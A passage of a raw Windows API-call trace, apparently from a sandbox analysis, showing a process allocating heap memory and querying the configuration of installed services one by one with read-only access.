(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21598d0 [0165.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159888) returned 1 [0165.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21598d0) returned 1 [0165.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f940) returned 1 [0165.988] OpenServiceW (hSCManager=0x803918, lpServiceName="AudioEndpointBuilder", dwDesiredAccess=0x1) returned 0x803a80 [0165.988] CloseServiceHandle (hSCObject=0x803990) returned 1 [0165.989] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0165.989] GetLastError () returned 0x7a [0165.989] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x164, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0165.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f940 [0165.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f9c8 [0165.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f940) returned 1 [0165.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f9c8) returned 1 [0165.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f9c8 [0165.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f940 [0165.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f9c8) returned 1 [0165.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f940) returned 1 [0165.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f940 [0165.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21598d0 [0165.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x21598d0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0165.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159888 [0165.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21598d0) returned 1 [0165.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159888) returned 1 [0165.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f940) returned 1 [0165.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159888 [0165.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f940 [0165.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f9c8 [0165.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252fa50 [0165.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252fad8 [0165.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252fb60 [0165.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0165.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21598d0 [0165.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21598d0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0165.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159918 [0165.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21598d0) returned 1 [0165.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159918) returned 1 [0165.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252fb60) returned 1 [0165.990] OpenServiceW (hSCManager=0x803918, lpServiceName="AudioSrv", dwDesiredAccess=0x1) returned 0x8038a0 [0165.992] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0165.992] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0165.992] GetLastError () returned 0x7a [0165.993] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x190, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0165.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x219a0b0 [0165.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f940) returned 1 [0165.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f940 [0165.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252fb60 [0165.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f940) returned 1 [0165.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252fb60) returned 1 [0165.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252fb60 [0165.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f940 [0165.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252fb60) returned 1 [0165.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f940) returned 1 [0165.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f940 [0165.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x2159918 [0165.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x2159918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0165.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21598d0 [0165.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159918) returned 1 [0165.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21598d0) returned 1 [0165.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252f940) returned 1 [0165.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21598d0 [0165.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252f940 [0165.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252fb60 [0165.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252fbe8 [0165.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252fc70 [0165.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252fcf8 [0165.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0165.993] OpenServiceW (hSCManager=0x803918, lpServiceName="AxInstSV", dwDesiredAccess=0x1) returned 0x803a30 [0165.994] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0165.994] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0165.994] GetLastError () returned 0x7a [0165.994] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x128, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0165.994] OpenServiceW (hSCManager=0x803918, lpServiceName="BDESVC", dwDesiredAccess=0x1) returned 0x803990 [0165.994] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0165.995] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0165.995] GetLastError () returned 0x7a [0165.995] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x11e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0165.995] OpenServiceW (hSCManager=0x803918, lpServiceName="BFE", dwDesiredAccess=0x1) returned 0x803a80 [0165.995] CloseServiceHandle (hSCObject=0x803990) returned 1 [0165.995] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0165.995] GetLastError () returned 0x7a [0165.995] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x164, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0165.996] OpenServiceW (hSCManager=0x803918, lpServiceName="BITS", dwDesiredAccess=0x1) returned 0x8038a0 [0165.996] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0165.996] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0165.996] GetLastError () returned 0x7a [0165.996] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x14a, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0165.996] OpenServiceW (hSCManager=0x803918, lpServiceName="Browser", dwDesiredAccess=0x1) returned 0x803a30 [0165.997] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0165.997] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0165.997] GetLastError () returned 0x7a [0165.997] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x154, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0165.997] OpenServiceW (hSCManager=0x803918, lpServiceName="bthserv", dwDesiredAccess=0x1) returned 0x803990 [0165.997] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0165.997] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0165.998] GetLastError () returned 0x7a [0165.998] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x132, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0165.998] OpenServiceW (hSCManager=0x803918, lpServiceName="CertPropSvc", dwDesiredAccess=0x1) returned 0x803a80 [0165.998] CloseServiceHandle (hSCObject=0x803990) returned 1 [0165.998] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0165.998] GetLastError () returned 0x7a [0165.998] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x112, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0165.999] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x1) returned 0x8038a0 [0165.999] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0165.999] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0165.999] GetLastError () returned 0x7a [0165.999] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x152, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0165.999] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_64", dwDesiredAccess=0x1) returned 0x803a30 [0165.999] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.000] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.000] GetLastError () returned 0x7a [0166.000] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x156, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.000] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v4.0.30319_32", dwDesiredAccess=0x1) returned 0x803990 [0166.000] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.000] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.001] GetLastError () returned 0x7a [0166.001] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x152, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.001] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v4.0.30319_64", dwDesiredAccess=0x1) returned 0x803a80 [0166.001] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.001] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.001] GetLastError () returned 0x7a [0166.001] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x156, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.001] OpenServiceW (hSCManager=0x803918, lpServiceName="COMSysApp", dwDesiredAccess=0x1) returned 0x8038a0 [0166.002] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.002] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.002] GetLastError () returned 0x7a [0166.002] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x182, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.002] OpenServiceW (hSCManager=0x803918, lpServiceName="CryptSvc", dwDesiredAccess=0x1) returned 0x803a30 [0166.002] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.002] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.003] GetLastError () returned 0x7a [0166.003] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x13e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.003] OpenServiceW (hSCManager=0x803918, lpServiceName="CscService", dwDesiredAccess=0x1) returned 0x803990 [0166.003] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.003] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.003] GetLastError () returned 0x7a [0166.003] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x142, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.004] OpenServiceW (hSCManager=0x803918, lpServiceName="DcomLaunch", dwDesiredAccess=0x1) returned 0x803a80 [0166.004] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.004] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.004] GetLastError () returned 0x7a [0166.004] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x13c, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.004] OpenServiceW (hSCManager=0x803918, lpServiceName="defragsvc", dwDesiredAccess=0x1) returned 0x8038a0 [0166.004] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.005] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.005] GetLastError () returned 0x7a [0166.005] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x10a, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.005] OpenServiceW (hSCManager=0x803918, lpServiceName="Dhcp", dwDesiredAccess=0x1) returned 0x803a30 [0166.005] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.005] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.006] GetLastError () returned 0x7a [0166.006] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x154, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.006] OpenServiceW (hSCManager=0x803918, lpServiceName="Dnscache", dwDesiredAccess=0x1) returned 0x803990 [0166.006] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.006] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.006] GetLastError () returned 0x7a [0166.006] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x130, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.006] OpenServiceW (hSCManager=0x803918, lpServiceName="dot3svc", dwDesiredAccess=0x1) returned 0x803a80 [0166.007] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.007] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.007] GetLastError () returned 0x7a [0166.007] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x154, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.007] OpenServiceW (hSCManager=0x803918, lpServiceName="DPS", dwDesiredAccess=0x1) returned 0x8038a0 [0166.007] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.008] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.008] GetLastError () returned 0x7a [0166.008] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x144, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.008] OpenServiceW (hSCManager=0x803918, lpServiceName="EapHost", dwDesiredAccess=0x1) returned 0x803a30 [0166.008] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.008] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.008] GetLastError () returned 0x7a [0166.008] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x136, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.009] OpenServiceW (hSCManager=0x803918, lpServiceName="EFS", dwDesiredAccess=0x1) returned 0x803990 [0166.009] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.009] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.009] GetLastError () returned 0x7a [0166.009] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x102, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.009] OpenServiceW (hSCManager=0x803918, lpServiceName="ehRecvr", dwDesiredAccess=0x1) returned 0x803a80 [0166.010] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.010] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.010] GetLastError () returned 0x7a [0166.010] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x108, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.010] OpenServiceW (hSCManager=0x803918, lpServiceName="ehSched", dwDesiredAccess=0x1) returned 0x8038a0 [0166.010] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.010] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.011] GetLastError () returned 0x7a [0166.011] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x134, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.011] OpenServiceW (hSCManager=0x803918, lpServiceName="eventlog", dwDesiredAccess=0x1) returned 0x803a30 [0166.011] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.011] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.012] GetLastError () returned 0x7a [0166.012] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x156, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.012] OpenServiceW (hSCManager=0x803918, lpServiceName="EventSystem", dwDesiredAccess=0x1) returned 0x803990 [0166.012] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.012] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.013] GetLastError () returned 0x7a [0166.013] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x12c, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.013] OpenServiceW (hSCManager=0x803918, lpServiceName="Fax", dwDesiredAccess=0x1) returned 0x803a80 [0166.013] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.013] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.013] GetLastError () returned 0x7a [0166.013] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x124, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.014] OpenServiceW (hSCManager=0x803918, lpServiceName="fdPHost", dwDesiredAccess=0x1) returned 0x8038a0 [0166.014] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.014] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.014] GetLastError () returned 0x7a [0166.014] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x154, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.014] OpenServiceW (hSCManager=0x803918, lpServiceName="FDResPub", dwDesiredAccess=0x1) returned 0x803a30 [0166.014] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.015] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.015] GetLastError () returned 0x7a [0166.015] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x186, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.015] OpenServiceW (hSCManager=0x803918, lpServiceName="FontCache", dwDesiredAccess=0x1) returned 0x803990 [0166.015] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.015] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.015] GetLastError () returned 0x7a [0166.015] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x158, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.016] OpenServiceW (hSCManager=0x803918, lpServiceName="FontCache3.0.0.0", dwDesiredAccess=0x1) returned 0x803a80 [0166.016] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.016] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.016] GetLastError () returned 0x7a [0166.016] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x194, 